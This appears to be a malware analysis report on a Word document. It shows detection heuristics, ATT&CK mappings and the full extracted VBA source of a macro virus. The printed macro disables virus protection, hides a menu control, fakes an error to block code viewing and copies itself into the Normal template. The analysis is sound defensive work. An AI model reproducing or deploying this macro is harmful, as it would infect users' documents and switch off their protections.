MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to copy itself to either the Normal template or the active document, indicating a potential persistence or propagation mechanism. The presence of 'AutoOpen' and the VBA macro strongly suggests a malicious document, likely delivered as a spearphishing attachment.
Heuristics 4
-
ClamAV: Doc.Trojan.Example-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Example-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1240 bytes |
SHA-256: 7533dda709a608d44b72a88598212fe57675dd503ad01cabeb4bb1139d0cc026 |
|||
|
Detection
ClamAV:
Doc.Trojan.Example-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Virus2"
Sub AutoOpen()
Application.EnableCancelKey = False 'Prodection
Options.VirusProtection = False 'Prodection
Application.CommandBars("Tools").Controls(12).Enabled = False 'Stealth
If UCase(ThisDocument.Name) = "NORMAL.DOT" Then
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "Virus2" Then GoTo EndOfVirus
Next i
VSource = NormalTemplate.FullName
VDestiny = ActiveDocument.FullName
Else
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "Virus2" Then GoTo EndOfVirus
Next i
VSource = ActiveDocument.FullName
VDestiny = NormalTemplate.FullName
End If
Application.OrganizerCopy VSource, VDestiny, "ExampleVirus", wdOrganizerObjectProjectItems
EndOfVirus:
End Sub
Sub ViewVBCode()
MsgBox "Error: 8934", vbExclamation, "VB Editor" 'Display a false error message
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.